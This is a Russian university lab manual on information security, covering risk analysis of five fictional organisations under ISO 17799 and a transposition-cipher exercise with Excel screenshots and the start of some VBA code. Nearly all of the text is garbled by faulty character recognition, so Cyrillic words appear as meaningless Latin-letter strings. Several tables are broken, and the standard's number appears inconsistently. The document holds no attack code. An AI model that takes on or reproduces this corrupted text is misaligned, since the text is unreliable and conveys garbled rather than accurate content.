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BIIOCJEACTBUM. B nuTepaTypHBIX HWCTOYHHMKAX MOJOOHBIM MPUHUMII HOCHT Ha3BaHUE
OPUHITMIIA MUHUMU3AIUK PUBUIIETUH (JINOO MpaB JOCTYyTIA).

[loTrepu npennpusiTis TEM MEHbIIE, YEM MEHBIIE B 3THUX MMOTEPSIX 3aUHTEPECOBAHBI
COTPYAHMKM JaHHOTro mnpeanpusatuss. OdeBugHa HEOOXOAMMOCTh BBOJA  JUYHOMU
OTBETCTBEHHOCTH 32 COOCTBEHHYIO JI€SITEIbHOCTh B OTHOLIEHUU MH(DPOPMAITMOHHBIX aKTHBOB
KOMITaHWH. JIMYHAs OTBETCTBEHHOCTh MPENIOJIAraeT pasJejeHue OO0sS3aHHOCTEH 10
OTHOIIEHHUIO K 00bEKTaM, K KOTOPBIM MOJb30BaTENb UMEET A0CTym. OTCloJa CyTh BTOPOrO
pe3ynbTaTa TECTUPOBAHUA: YTOObI MOHU3UTH PUCK BPEIOHOCHOTO BO3JACUCTBUS CO CTOPOHBI
COTPYJHHMKOB, HY’KHO CJIEIOBAaTh IPABUIIY pa3eieHus 0013aHHOCTEN.

[Ipu npueme Ha paboTy NPOBOAUTH MPOBEPKY COTPYAHUKOB Ha HaJIU4Yue
MOJIOKUTENBHBIX XapaKTEPUCTUK, MOJHOTHI W TOYHOCTH  PE3IOME, TMOATBEPKICHUE
3asiBJIEHHOT0 00pa30BaHus U NPO(EeCCHOHATbHON KBAIM(PUKALUUA U HE3aBUCUMYIO IIPOBEPKY

JOKYMCHTOB — II4aCIIOpTa.

5. Metoanka npoBeaeHus J1a00paToOpPHOil padoThI
1. Heab padoThlI.

[lenbto nmaHHOM nabOpaTOpHOl PabOThI SBJISIETCS O3HAKOMJICHHE C  METOIAUKOU
aHaiM3a PHUCKOB, POJIBI0 aHajdu3a PUCKOB B TMOCTPOCHHHM CHUCTEMBI 3aIllUTHI, a TaKkKe
03HAKOMJICHHE C MEXKIYHApPOIHBIM CTaHAapTOM WHPOpManmuoHHON Oe3omacHoctn 1SO
17799.

2. TeopeTuueckasi 4acThb.

HNudopmanuio no 3ToMy NyHKTY Bbl B IOJTHOM 00beMe Hailnere B MeHto “CrpaBka’.

3. IlopsiaoK BbINOJIHEHHST PAdOTHI
1. [Tocne o3HaKOMIIEHHE C TEOPHEN MOTYyYUTE y BAIlIero NpenojaBaTess HOMEp BapuaHTa Ha
nabopaTopHyto pabory. Kaxnpiii HomMep BapuaHTa MPEACTABISIET ONPEACICHHYIO MOJAEIb

nH(OpMaITMOHHON cucTeMbl. HoMepa BapuaHTOB MpUBEACHBI HUXKE.
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Ta6muna 15. Bapuanr 1.

Haszsanue

Kommanus “PeanCodt”

CoTpyaHuKH

Jlupektop (COTpYAHUK)
CucteMHbIN aIMUHUCTPATOP
Odunep 6e30macHOCTH
Byxrantep (coTpynHHK)
Menemxep

[IporpamMmMucTsl (COTPYAHUKN)

Nudopmanus

Bbyxrantepckas nunpopmanus
WNupopmanus o 3apraTax
HcxonHble TEKCThI NPOrPaMMHBIX
IPOIYKTOB

JucTpuOyTUBBI IPOTPAMMHBIX

MIPOAYKTOB

ArnmnapatHbie Cpe/ICTBa i1 00pabOTKU

uH(popmauu

JIBa cepBepa

[lecTs pabouux cTaHIUNA

Onucauue

Opranu3zarus 3aHUMaeTcs pa3padoTKoi
POTrpaMMHOTr0 00eCTIeUEHUSI.
Pacnionoxena B ornenbHOM 31aduu. Ha

BXOJIC pacIojiokKeHa OyJiKa C OXpaHOM.

3aTpatbl Ha HHPOPMAITMOHHYO

0€30I1aCHOCTH B I'OJ

100 000

Ta6muma 16. BapuanT 2.

Ha3zpanue opranuzamuu

Horapuanbshas kontopa “Tlapyc”
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CoTpyaHuKH

Jlupextop
Bbyxrantep (coTpyaHHK)
Menemxep

HNudopmanus

Byxranrepckas napopmanus
Nupopmanus o 3apratax
JucTpuOyTUBBI MPOTPAMMHBIX
MIPOJIYKTOB

WNupopmanys o KIMEHTax B

AJIEKTPOHHOM BUJIC

AnmnapaTHble cpeicTBa AJis1 00padOTKU

uHbopMaIuu

Onun cepep

Tpu pabouunx craHuuu

Omnucanue

3aHnMaeTcss 0pOpMIIEHHE JOIOBOPOB
KYIUIU-TIPOJaXku, OOMEHa, TapeHMUsI
KWIbs, aBTOMAIIIMH, 36MEJIbHBIX
Y4aCTKOB, KO TOKYMEHTOB.
[IpoBoauT kBaM(ULIKUPOBAHHBIE
KOHCYJITALIMK 110 HOTapUAJIbHBIM
BOIpOCaM

ApenayeMoe NoMEIIeHHE Ha BTOPOM
ataxe. KpoMe 310l oprannszanuu B
3JIaHUH PACIIOJIOKEHO €LIE HECKOJIBKO
¢upm. Ha Bxoze cymiecTByeT oxpaHa ,

KOTOPYIO HHTEPECYET LIEIBIO IPUXO0aA

3aTpatbl Ha HHPOPMAITMOHHYO

0€30I1acHOCTE B I'0J1

10 000
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Tabnuna 17. Bapuant 3.

HaszBanue opranuzamnuu CrpaxoBas kommnanus “Ilog kppuiom™

CoTpyaHuKH Jupektop (1oJib30BaTesb)
Byxrantep (1monb30BaTeb)
CucteMHbIN aIMUHUCTPATOP

Menenmxepbl

Nudopmanus Bbyxrantepckas nunpopmanus
WNupopmanus o 3apratax
Nudopmanus o kaueHTax B
AIIEKTPOHHOM BH/JIE
WNupopmanus o cOTpyIHUKAX B
AIIEKTPOHHOM BHU/JIE
JucTpuOyTUBBI IPOTPAMMHBIX

IIPOJIYKTOB

ArmnmapatHbie cpeacTBa sl o0padoTku | OUH cepBep

uH(popmauu YeTtbipe pabounx CTaHIIUU

Onucanune Kommanus 3aHuMaeTcsi CTpaxoBaHUEM
BCEX BHUJOB JEITEIHLHOCTH.
Pacnionosxena B otnenbHoM 3mqannu. Ha

BXO0AC CUANUT OXpPaHHHK.

3aTpatbl Ha HHPOPMAITMOHHYO 200 000

0€30I1acHOCTE B I'0J1

Ta6nuna 18. Bapuanr 4.
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Haspanue oprannsanuun Ounuan HeQTsIHONU KoMnaHuu B Tomcke

“PycHedTn”

CotpynHuku Jlupektop (COTpyaHUK)

CucTeMHBII aAMUHUCTPATOP
Oduniep 6e3onacHocTU
Byxrantep (coTpyaHUK)
Menemxep

[TporpamMMucThI (COTPYAHUKH )

Nudopmanus Bbyxrantepckas nunpopmanus
Nudopmanus o 3apriatax
WNudpopmanus 0 KJIMEHTax B
AIIEKTPOHHOM BHU/IE

JucTpuOyTUBBI POrpPaMMHBIX
IPOIYKTOB

O0BembI poax

CebecTonMOCTh MPOAYKITUH

Onucanune 3aHUMaeTCcsl  TPAHCIIOPTUPOBKOW M
nepepaboTkoit HedTH. Pacmonoxxkena B
ormenbHOM  3maHuM.  CymecTByer
coykb6a Oe3omacHoctu. Ha  Bxome

OXpaHa PErucTpUpyeT LENIb IPUXO0a.

Tabnuma 19. Bapuanr 5.

Ha3zpanue opranuzamnuu Kommbrorepnas bupma ’Ba
KOMIIbIOTED”

CotpynHuku Jupektop (COTpYAHUK)
CucTeMHbIN aIMUHUCTPATOP
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Byxrantep (coTpyaHUK)

Menemxepbl

Nudopmanus byxranrepckas nnpopmarus
Nudopmarus o 3apmiatax
JucTpuOyTUBBI IPOTPAMMHBIX
MPOJYKTOB

O6beMbI po1ax
HNudopmanus o mapTHepax B
AIIEKTPOHHOM BHUJIE
TexHnuueckas HHPpopMaus O

IPOYKTaX

AnmnapaTHble cpencTBa st oOpaboTku | /[Ba cepBepa

uHpopmaIuu Tpu pabouux cTaHuu

Onucanue 3aHuMaeTCs poJakell KOMIIBIOTEPOB,
0(pUCHON TEXHUKH, CETEBOTO
000pyI0BaHUs, TPOTPAMMHOTO
oOecnieuenus. Pacronosxxena B
otaenbHOM 31aHun. CyIIecTByeT

ciryx0a OXpaHbl.

3arpaThl Ha HHPOPMAIIHOHHYIO 1 000 000

0€30I1aCHOCTH B IOl

2. nsg Toro 4toObl MPUCTYNUTh K pabore ¢ “ CUCTEeMOW aHaau3a PUCKOB M MPOBEPKHU
OpraHU3AIMOHHBIX Mep oOecrieueHus: HHHOPMAITMOHHONW O€30MacHOCTH Ha TPEANPUATUS ,
HEeoOx0MMO 3amycTuTh (hailn Project.exe. Jlanee crucTema MOKaXeT OKHO C MPEJIOKCHUEM

HayaTh paboTy C IPOrpaMMon

3. BeiOepute Te BHIBI WH()OPMALMOHHBIX PECYPCOB KOTOpPHIE MPEACTABICHBI B BalleM

Bapuante. Tenepp nepeiaute k Bkiaake “lIlonb3oBaTenu cucremsl”, T1€ HaAO Oyner
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OTMETUTh  TMOJIb30BaTeNel HHpoOpManMoOHHON cuctembl. Ha Bkmaake “AnmaparHbie
CpelCcTBA” OMPEIENIUTE KOJIMYECTBO CEPBEPOB M pabOuMX CTAHIMM M3 BAlllero BapUaHTA.

Haxxmute knonky “IIpoaomkuTs paboTy ¢ IporpamMmmoin”.

4. VYkaxuTe Ha cepBepe XpaHEHUE JBYX JIIOObIX BUAOB MH(POpMAIMM U3 CIHCKa, a Ha
pabounx CTaHIUSAX MO YeThIpe BUJAa WH(GOPMALMOHHBIX PECypca, KEeNaTeIbHO pPa3HbIX H
OLICHUTE IperoaraeMblil yiep0, B cilydae yrpo3 KOH(UIEHIMAIBHOCTH, LIEIOCTHOCTU U
JNOCTYNMHOCTH. Tak Kak JaHHbIE XPAHATCA Ha pa3HbIX pecypcax, TO MPEaIoiaraeTcs, YTo OHU
UMEIOT pa3Hyl0 LEHHOCTh. B ciiydyae ecin MHpoOpManus HE XPAaHUTHCS Ha BBIOPAHHOM
pecypce, TO €€ OLleHKa He UMEET CMbICIIA - 3TU JaHHbIE BCE PaBHO HE OYyT UCIIOJIb30BaHBbI.

B ciydae 3atpynHeHus oOpaTuTech K MOACKA3Ke.

5. lanee cuctema oToOpa3uT OKHO, C BOMPOCAMHM I10 pa3zeiy CTaHJaapTa B MPaBOM YacTH H
BBIOOPOM pazjienia CTaHJapTa B JIEBOM 4yacTu dkpaHa. OTBeUaTh Ha BOMPOCHI JIyUIlle BCETO,
HaunHasg C TnepBoro pazaena “Tlomutumka Oe3omacHocTtd. OpraHu3allMOHHBIE MEpHI .
Onenute cucreMy 0€30MacHOCTH BBIOPAHHOM OpraHM3alMd, YYTUTE KAaK MOXHO OOJible
HEIOCTATKOB,

TaK KaK II0JJHOE OIIMCAaHHWE OpraHU3allMOHHBIX Mep obOecneueHus WHOOPMAIMOHHON
0€30MacHOCTH JJ1sI IPEJICTABJICHHBIX BAPUAHTOB HE MPEACTABISETCS BO3MOXKHBIM. Haxkmure

KHOTKY ““Jlanee”.

6. Ilepen BamMM OKHO C oOmpeAeNCeHHEM JOCTYIa IOJb30BaTeieii K HHPOPMAIMOHHBIM
pecypcam.

OrpanuybTe n0CTyn K wHGOpMAlMM Ha TMEpBOM BbIOpaHHOW cTaHiuu. K TeM ke Buaam
uHpopMaliuu Ha BTOpOM pabouell CTaHIMHM, OINpENeIUuTe pa3Hble BHUILI JIOCTyNa
MMOJIb30BaTEIICH.

Ha ocTanpHbIX cepBepax v pabo4YMX CTAHIUSAX BUJIBI IOCTYIIA ONIPEACIUTE CaMHU.

7. Tenepp Ha 9KpaHE NODKHO TOSBHUTHCS OKHO JJIA BBOJAA 3aTpaT Ha WH()OPMAIMOHHYIO
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0€30MacHOCTh. 3aTpaTbl MOKHO OMNPEJEIUTh M3 Balller0 BapUaHTa. DTO 3aKIHOYUTEIbHBIN
sTan coopa mHpopmanuu o Baiied opranuzanuu. Jlanee nmporpaMma reHepupyer OT4eT IO

pe3ysbTaTaM aHaIm3a.

8. O3HaKOMBTECH C MPEJCTABICHHBIM O0T4eTOM. CpaBHHUTE PUCK U YyIIEpO MO TpeM Kilaccam
yrpo3. Ouennte Ha Baml B3I d(PPEKTUBHOCT CHCTEMBI 3amuThl. [lepelianTe Kk BKIagKe
“Ananu3 puckop”. CpaBHUTE JaHHBIE O PHCKE IO TPEeM KJIaccoM YIrpo3 Ha padboumx
CTaHIUAX , K MHPOpPMAIMM Ha KOTOPBIX OBLI MPEACTABICH JIOCTYNl M K KOTOPBHIM HET.

Cnenaiite BEIBOIEL.

9. Ileperinure k Brimagke “TIpoBepka opranmsanmoHHblx Mep”. Ilocmorpure, kakoe
KOJIMYECTBO OPTAHU3ALMOHHBIX MEpP COOTBETCTBYIOT NOJIOKEHHUSM CTAHAAPTA, U KAKOE HET.
Jlanee BaM IpPEICTOMT O3HAKOMUTHCS C OCHOBHBIMM IIOJIOKEHUAMH MEXIYHAPOIHOIO

crannapta 6ezonacuoctu 1SO 17999.

10. Cpenaiite CKpHUHIIOTBHI TPEX BKJIAJOK OTYETA M COXPAHUTE UX B CBOEH OTYET IO

naboparopHoii pabote. 3akpoiTe OkHO mporpammbl. CHOBa oTkpoiite (aiin Project.exe.

[ToBroputre 3 m 4 nyukr. [lombiTaiiTech B 5 MyHKTE COONIOCTH KAaK MOXHO OOJIbIIEe

nosioxxkeHnit MCb 1SO 17999. Jlanee notopute 7, 8, 9 myHKT. CaemaiTe BHIBOIBI.
KoHTpoJibHBbIE BOIIPOCHI

1. Haitte onpenaenenue noustusa - [lonmutuka nHGpOpMaMOHHON 0€30MaCHOCTH.

2.Yto Ttakoe mporecc aHanmza puckoB? KakoBa ponp aHanmsza pPUCKOB B MPOILECCE

dbopMUpOBaHUS MOJUTUKH OS30ITACHOCTH KOMITAHUH.

3. B ueM oTiinuMe MOJHOTO aHAIN3a PUCKOB OT 0a30BOr0?

4.YTto moHMMaeTcs 1oj yrpo3oi 6ezonacHocTd uHGopmanuu?

5.Ha xakume nBa Kiacca JNENUTHCA BCE MHOXKECTBO MOTEHIMAIBHBIX yrpo3 0€30MacHOCTH

uHpopmaruu?

6.B dem 3akirouaeTcst OlleHKa PUCKOB 10 IBYM (hakTopam?

7.B dem 3akirouaeTcsi OIleHKa PUCKOB 10 TpeM (hakTopam?
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8. JlaliTe onpeaeieHUe NOHATUIO Y I3BUMOCTD .

9.JlaliTe onpeieiICHUE IMTOHATUAM “‘yrpo3a KOH(PUIECHIINAILHOCTH , ~’yrpo3a LIEJIOCTHOCTU U
5

“yrposa 10CTyIHOCTH .

10. HazoBute ocHOBHBIE pa3neibl ctangapta [SO 17799.
6. Pexomenayemasi iureparypa

1. Eropos H.A. KommiekcHas 3ammra uHGOpMaIliy B KOMIIBIOTEPHBIX CUCTEMAX.
Vyebuoe mocodue. - M.: Jloroc, 2001. - 264 c.

2. [IporpaMMHBII KOMIUIEKC aHAIN3a U KOHTPOJISI PUCKOB MH(GOPMAIIMOHHBIX
cucteM kommanui “I'pud”’[Dnextponnsiii pecypc].Komnanuu Digital
Security //http://www.dsec.ru.

3. I[IporpaMMHBIIl KOMIUIEKC TPOBEPKH MOJUTUKH HHPOPMALIMOHHOM
6e3onacHocTu komnanuu “Konmop+” [Dnexrponssiii pecypc]. Kommanuu
Digital Security_// http://www.dsec.ru.

4. Nnrpaceru: Hoctyn B UnTepHeT , 3amurta /Munocnasckas H.I'., Toncroit A..
VYyebHoe nmocodue st By30B . - M.: KOHUTU-JIAHA, 2000. — 527 c.

5. Howmapes B.B. 3amura nndopmannu 1 6€30MaCHOCTh KOMIBIOTEPHBIX CUCTEM.

- Kues: U3zna-so "HquaCodt", 1999. - 480 c.

6. Undopmanmonnsie TexHosoruu. [Ipakrnueckoe npaBuio yrnpaBieHUs
nHpopmaImoHHo# 6e30macHOCTh. Pycckuit mepeBoa crangapra 1SO 17799
[D5eKTpOoHHBIN pecypc].

7. Cobra u KOH/IOP [DnekTpoHHBIN pecypc].

8. MeToaukyn M TEXHOJOTHHU YIpaBieHUs WH(OOPMALIMOHHBIMH PUCKAMH. [DIEKTPOHHBIH

pecypc] // Kypuan «I'T Manager». 2003, Ne3

9.Ayaut 6e3omacHOCTH (PUPMBI: TEOPUS U MPAKTUKA: YueOHOoe nmocodue.

- M.: Akanemuueckuii [Ipoext «ITapagurmay, 2005. - 352 c.
10. OcHoBBI Oe30macHOCTH MHGOPMAITMOHHBIX TexHoorwi, 2001.

/Ihttp://www.crime-research.ru.
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http://itm.finestreet.ru/

JlabGopaTopnas padora 4 llIndpoBanue MeTOI0OM NEPECTAHOBKHU
3amanue Ne 1

Ha mpaktuke mpumeHsIOT 00Jiee CIIOXKHBIE aJITOPUTMBI TIEPECTAHOBKHU
Mo ABYM M Ooiiee kimodaMm. Hampumep, Tpedyercs 3amudpoBaTh OTKPBITHIN
UCXOJHBIN TEKCT: «HH/Id)POBAHI/IE_HEPECTAHOBKOf/'I». [Io xmtouy
k1=5-3-1-2—4-6 3anuchiBacM 3TOT TEKCT B TaOJIHITy 11O cTpokaM (Tabi. 3.1).
Hauunaem co ctpoku 5. Korga siuerku 3TOM CTPOKH 3aIlOJHATCS, MPOIOJI-
YKaeM 3alMChIBaTh HCXOHBIN TEKCT B CTPOKY 3, 3aTEM — B CTPOKY | U Tak na-
Jiee B COOTBETCTBUU ¢ KiitouoM K1.

Ta6umua 3.1. [lIndpoBanue MeTogoM nepectaHoBKH 10 Kiodam K1 u k2

1 2 3 4
1 " E _ I
2 E P E C
3 o) B A H
4 T A H (o)
5 I " ) P
6 B K (0} n

[To xmouy K2=4-2-3-1 cumThiBa€M TEKCT IO CTOJIOIAM W3 TaOJIHIIBL.
Haumnaem co croibmna 4, 3aTeM ynTaeM CTOJOeIl 2 U TakK Jajiec€ B COOTBET-
ctBun ¢ kmodom K2. Tlomyunm 3ammdposanmbii Tekct: «ITCHOPH-
EPBAVK EAH®OUEOTIIIBY.

JemmdpoBanre npou3BoauTca B 00patHoM nopsiake. CHavana no Kiko-
gy k2 3anmuceiBaeM 3amm@poBaHHBIA TEKCT B TAOJMIy MO CTOJIOIAM. 3aTeM
1o kmrouy K1 cauThIBaeM 3ammMcaHHbIA TEKCT U3 TaOJHUIIBI ITO CTPOKAM.

TpeboBaHus K KITIOUaM:

® HOMEpPA B KJIFOYE JIOJDKHBI OBITh IEJIBIMU TTOJIOKUTEIIbHBIMU YHCIIAMH
oosbie 0;

® HOMEpA B KJIFOYE HE JTIOJDKHBI TTOBTOPSTHCS;

¢ MaKCHMaJbHOE 3HaYEHHE HOMEpPA B KJIOUE JODKHO HE MPEBBIMAThH KO-
JTUYECTBA HOMEPOB B KITOYE.

Ecou coobmienue, momiexaiiee mubpoBaHUIO, HE YMEIIAaeTcs B Ta0-
avie, 3aaanHon kimoyamu kK1 u K2 (mmdporabimie), To ero HeoOX0IUMO
pa3nenuTh Ha OJIOKH, pa3Mep KaKIIOTO M3 KOTOPBIX COOTBETCTBYET pa3zMepy
mudporadnuipl. [103TOMy 3TOT METOJ Ha3bIBAIOT €1lle OJIOYHBIM MmHU(poBa-
HUEM.

CymiecTByIOT U 00Ji€e CIOXKHBIE aITOPUTMbI MIU(DPOBAHUS METOJIOM TIe-
PECTaHOBKH, HAIIpUMEp, OCHOBaHHbIC Ha alropuTMe KyOmka Pybuka, peanu-
30BaHHBIC B U3BECTHOM TaKeTe Mporpamm s mudpoBanus «PyOukony.
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3amudpoBaTth BpYyUYHYIO CBOHM JaHHbIE: «()aMHUIUS UM OTYECTBO» IIO
kimouaM K1 m K2, 3amanaeiM B Tabi. 3.2. CBOM BapuaHT KIIIOYCH BBIOpATh 10O
HOMEpY B JKypHalie npenoaasarens. [lomoOpats pasmep mu@poTabIuiIb! Mo

IJIMHY CBOUX JAHHBIX.

Tabsmua 3.2. BapuaHTsl 3a1aHuM

4 N [ LT ] RN | RN |

z ||| | e oy o0 | 5| | | | e gt g1 g x| e b | 5 | | e < | e ey

2 | |ob |t b ey |on | 5|0 | | | | | | | b | it b el od |5 oo | | || | |
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]
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1

D[ 90| |11 |16 00 <1100 100 00| 2| | | el el el vt x| e e e o e e

= |TIT 19 TS| |2 || | T2 bbb | & | b ed o0 o < en | e e e e
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2| oo o | | e e e e el | el vt vt 160 10 10 100 100 | o o o | | |
Al A A A | H OO OO (T |TFTILOM M| O|ANMN|IFTIO|O|O|ONM|ITIO|O|O

<

=~

=
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[To pe3ynbpTaTam BBIMOJHEHUS 3aJaHUS COCTABUTH OTYET, B KOTOPOM
MPUBECTH CBOIO MHUMPOTAOIUILy W TMOCIEAOBATEIHHOCTh MPEeOOpa3oBaHUS
MCXOJTHOTO TEKCTAa B 3aIIM(POBAHHBIA U 00pATHO.

3aganue Ne 2

CocraBuTh porpamMmy Jjsi u(poBaHUs METOJIOM MepecTaHoOBKH. [1pu
COCTaBJICHUM MPOTrPaMMBbI HCIOJIb30BaTh 00pasel (puc. 3.1-3.4), B KOTOPHIi
HE0OXOIUMO BHECTH M3MEHEHUS, COOTBETCTBYIOIME Bamemy nHauBuayab-
HOMY 3a/IaHHIO.
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|z|| H9-o-s [@ = MEPECTAHOBKAxls [Peskum cosmectumocti] - Microsoft Bxcel |_|_|g:' (=]
m [nagHan Beraska PasmeTka cTRaHW LGl DopMyntl HaHHele PeyeHsvpoBsaHne Bug Hagcrpoikn A 9 = @ 2
% - 11~ r=E== OB LM - Af e~ E [ﬁ
B3 K& U-[A 4 % 000 ¥ yganims | (@ '
BerasuT Cramm | C Haiiti n
7 == WA ; ,60 4,0 ~ LEj‘DODMET' 27 nd 0 BRIGENMTE ™ |
Eydep oBMeHa = LWpugt EbIpaBHMEBaHME Yucno Aueiiku PepakTposaHne
- £ v
A B C D E F G H 1 | K M T
1 deﬁpOBBHHE METO40M NEPECTAHOBKH ]
2
3 |PafioTa Ha CTOPOHE pECNOHAEHTA
4 Knwou k1 5 3 1 2 4 6
5 Knwou k2 4 2 3 1
6
7 McxoaHbii TEKCT (BBECTH B AYUEiny AB):
8 [MHO®POBAHHE IEPECTAHOBKOM
9
10 |lWmnpoTabanua pecnoHaeHTa
11 1 2 3 4 WhposaTs
12 1
13 2
14 3 OYNCTUTEL
15 4
16 5
17 6
18 =
19 |3aWwmnbpoBaHHbIA TEKCT, NOANEHKELMI NEPEAIUE PEIULEHTY:
I 20
o Mepenats WHHPOBRY PEINAEHTY
22 |PaboTa Ha CTOPOHE pe3ugeHTa
23
24 Hnwou k1 5 3 1 2 4 6
25 |Knwoy k2 4 2 3 1
26
27 |lWundpoTabnnua peauaeHTa
28 1 2 3 4 |
28 1 [ewnpposate
30 2 W
31 3
32 1 OumncTTh
33 5
34 6
il 35 I
| 36 PacwudpoBaHHBIA TEKCT: |
37 =
M4 v fwetl S Tncr? o Nna3 o F 4] I | » ]
Totoso | |[@]|ﬁ|@ 100% .'\5. [} (+)

Puc. 3.1. Obpazey unmepdpeiica ona npoepammsi wudposarus memooom nepe-

CMAHO6KU
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@| Ho-o-s [;x?"h MEPECTAHOBKA s [Pexum cowecrnmocm]_-l\«"licrosoft Excel | =has g
m [nagHaa BeTaeka PasmeTka cTpaHn bl DopMynsl [JaHHele PeueHIMpoBaHWE Bug Haacrpoiku & a o e 2
Il o M 11~ o : u-;w.uu_ @ .éx ,Iu Bcrasute ¥ | X : [ﬁ
EE] b O | A A E &% Ypanute - | (@] 418 )
BrrasuTs _ Cramm | Co 2 Haiitn u
F i o A = N 0 v Lzl Gopmar / ¥ BhIAENNTE ™
Eydep oBmeHa LWpudT BripaBHHEaHMe Yueno Aueiku PegakTipogaHue
- fe | v
A B C D E F G H | J K L M :
1 de)pOBEHHE MeToA0M NEPECTaHOBKH ]
2
3 |PaBoTa Ha CTOPOHE peCNOHZEHTA
4 |Hmou k1 5 3 1 2 4 6
5 |Hmou k2 4 2 3 1
6
7 |WcxoaHbIi TeKeT (BBECTH B AUERY A8):
8 [MMAGPOBAHHE IMEPECTAHOBKOM
9
10 WndpoTabnnua pecnoHaeHTa
11 1 2 3 4 Wkposars
12 1 4 E _ n
13 2 E P E C
14 3 o] B A H OUYUCTHTD
15 4 T A H o]
16 5 1] M o] P
17 6 B [ 0 [
18 =
19 |3awmnppoBaHHbIA TEKCT, NOANEMALMIA NEPefaUe Pe3ULeHTY:
20 [ICHOPHEPBAHK EAH®OHEOTIIB
n Mepenatk WHPPOBKY PEINAEHTY
22 |PaboTa Ha CTOpPOHE pe3ufeHTa
23 I
24 Hnwou k1 5 3 1 2 4 6
25 Hnwou k2 4 2 3 1
26
27 |WndpoTabnuua pesuaeHTa
28 1 2 3 4
= 1 [Oewndpoeats
30 2
31 3
3 2 QOuncTHTh
33 5
34 6
35
26 PaclwMdpoBaHHBIA TEKLT: —
Il 37 o
M4 M| fetl a2 w3 ¥ 4] il | ]
Totogo | |[ﬁ]|ﬁ|@ 100% 'S' [} .&j

Puc. 3.2. Buo oxkna npozpammel wughposanus Memooom nepecmanoKku nocie
Hadcamusi khonku «LLlugpposamsv »
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|EH o 9~ 3 v@ = MEPECTAHOBKAxls [Pexum coemectumoctu] - Microsoft Excel | =has) é
m [nagHaA BcTaeka PazmeTka cTRaHW LG DopMyntl AaHHele PeueHIMpoEaHue Eung Haacrpoiikn [~ e o g &R
=X Calibri o = [;] =  OBuwmi < A S@BcraBuTe * X T ﬁ lﬁ
_j B3~ = - *E' % 000 = 2 yaanute ~ ﬂ'
BeTaeuTe Craam |, CopTMpOBKA HalTi u
< \)' == = @" Tog -:23 T L;j‘DOp'“ﬂT' @ W GUAETP ™ BHIAEANTE ™
Bygep obmeHa % | BupasHusaHwe [u Yucno Fl Aqeitkn PegakTiposaHne
L37 - f v
A B C D E F G H | J K L M ;
1 UJHd)pOBaHHE MeTo40M NepecTaHOEKH ]
2
3 |PafioTa Ha CTOpPOHE pECNIOHAEHTA
4 |Kmou k1 5 3 1 2 4 6
5 |Hmou k2 4 2 3 1
6
7 |WcxoaHbIi TeKeT (BBECTH B AUERY A8):
8 [MMAGPOBAHHAE_NEPECTAHOBKOM
9
10 |WndpoTabnmua pecnoHaeHTa
11 1 2 3 4 Wnposars
12 1 |4 E _ n
13 2 E P E C
14 3 o] B A H e
15 4 T A H o]
16 5 1] 4 @ P
17 ] B K 0 [
18 =
19 33WKPPOBAHHDBIA TEKCT, NOANEHELMA NEpeaade Pe3UAEHTY:
20 ICHOPHEPBAHUK_EAH®OHEOTIIIR
n Mepenatk WHPPOBKY PEINAEHTY
22 |PaboTa Ha CTOpPOHE pe3ufeHTa
23 ]ICHDPI"IEPBAHK_L—\H@DIIEDTLHB
24 |Kniou k1 5 3 1 2 4 6 |
25 Hnwou k2 4 2 3 1
26
27 |lWn¢poTabaunua peanaeHTa
28 1 2 3 4
29 1 [ewwnpposate
30 2
31 3
32 2 OUMCTUTE
33 5
34 6
35
|l 26 PaclWMpoBaHHBIA TEKLT: |
I M4+ M| Jwerl a2 uas 4] Il | ]
loToso | |@@|E‘ 100% ':.E.:' [} ':.:‘E.:'

Puc. 3.3. Buo oxna npozpammul wu@posanus Memooom nepecmano8Ku nocje
Haxcamus knonku «Ilepedoams wugposky pezudenmy»
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¥ d TG MEPECTAHOBKAxls [Pexum cosmectumoctu] - Microsoft Excel =] B EZ
m [naeHas Bcraska PazmeTka cTpaHuLpl Dopmynsl JanHHee PeueHIMpoEaHKe Bug Hagcrposikn [ 9 =
j Calibri S OBuymit @ A @ Baaute | X _rl-_ [ﬁ
EEY K & Y AW B - o 000 3 Yaanums -~ | [§] i
BUTb Cramma | CopTipoBka  HaiTi u
' 4 i A \ i S0 - L;j‘UOpMET' 2z BLIAENNTE ™
Eydep oBMeEHE [ WpndT EbpaEHHEaHME Yucno Aueiiku PepakTHpoEaHWE
- fe v
A B C D E F G H | J K L M :
1 UJHdeOBaHHe MeTo40M NepecTaHOEKK ]
2
3 |PaBoTa Ha CTOPOHE peCNOHZEHTA
4 |Kmou k1 5 3 1 2 4 6
5 Knwouk2 4 2 3 1
6
7 |WcxoaHbIi TeKeT (BBECTH B AUERY A8):
g |[MA®POBAHHE MEPECTAHOBKOIA
9
10 |WnépoTabanua pecnoHaeHTa
11 1 2 3 4 Wnposats
12 1 |4 E _ n
13 2 E P E C
14 3 o B A H OYnCTHTL
15 4 T A H o]
16 5 1] 4 o P
17 ] B K 0 [ '
18 =
19 |3awmnppoBaHHbIR TEKCT, NOANEMALMIA NEPEfaue pe3uaeHTY:
20 ICHOPHEPBAWNK_EAH®OHEOTIIIR
”n Mepenats WHBPOBKY PEINOEHTY
22 |PaboTa Ha CTOpPOHE pe3ufeHTa
23 ICHOPHEPBAHK_EAH®OHEOTIIIR
24 |Knroy k1 3 3 1 2 4 6
25 Hnwou k2 4 2 3 1
26
27 |lWun¢poTabanua peanpeHTa
28 1 2 3 4
2 1 W E ~ n Aewnpposats
30 2 E P E C
31 3 o] B A H
32 2 T A H 0 OUMCTUTE
33 5 w 4 @ P
34 6 B K 0 [
35
|l 36 PacluMpoOBaHHbBIA TEKLT: |
Il 37| IMIH®POBAHNE_ITEPECTAHOBKOIT 3
I M4 v M| Jmerl a2 Nna3 4] Il | » [
fotoso | [Eom 10 (=) y! @)

Puc. 3.4. Buo oxna npoepammsl wugposarus memooom nepecmaiosKu nocie
Haxcamus KHonku «/lewiugposamo »

Texcr nmporpamMmbl A MHUQPPOTAOIHIIBI 33JJaHHOTO pa3Mepa Ha SI3bIKe
VBA npencraginen Ha puc. 3.5 u 3.6.
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5 Microsoft Visual Basic for Applications - MEPECTAHOBKAxs - [wcrl (Code)]

TR T ==

m File Edit View Inset Format Debug Run Tools Add-Ins  Window Help
-l 4 Ema 9 oo ok BAEY - @ nic

Project - VBAProject X| ICommandBuﬂoM vl

Beeaure Bonpoc o8 X

ICIick

| ! o8 - -

o BAEUTE DEMEHHHE YDOEHA MOIYIR
t E"@ VBAProject (MEPECTAHO Dim Tabll(e, 4), Tabl2(6, 4) As String
EI {25 Microsoft Excel Objects Dim IshodnText,
Dim k1(6), k2(4) Zs Byte

ShifText, DeshifText, S5im A= String

=]

Private Sub CommandButtonl Click()
'Mporparm+a IMROBATE

'UMTaeM RKIHOEM

Fori=1To &

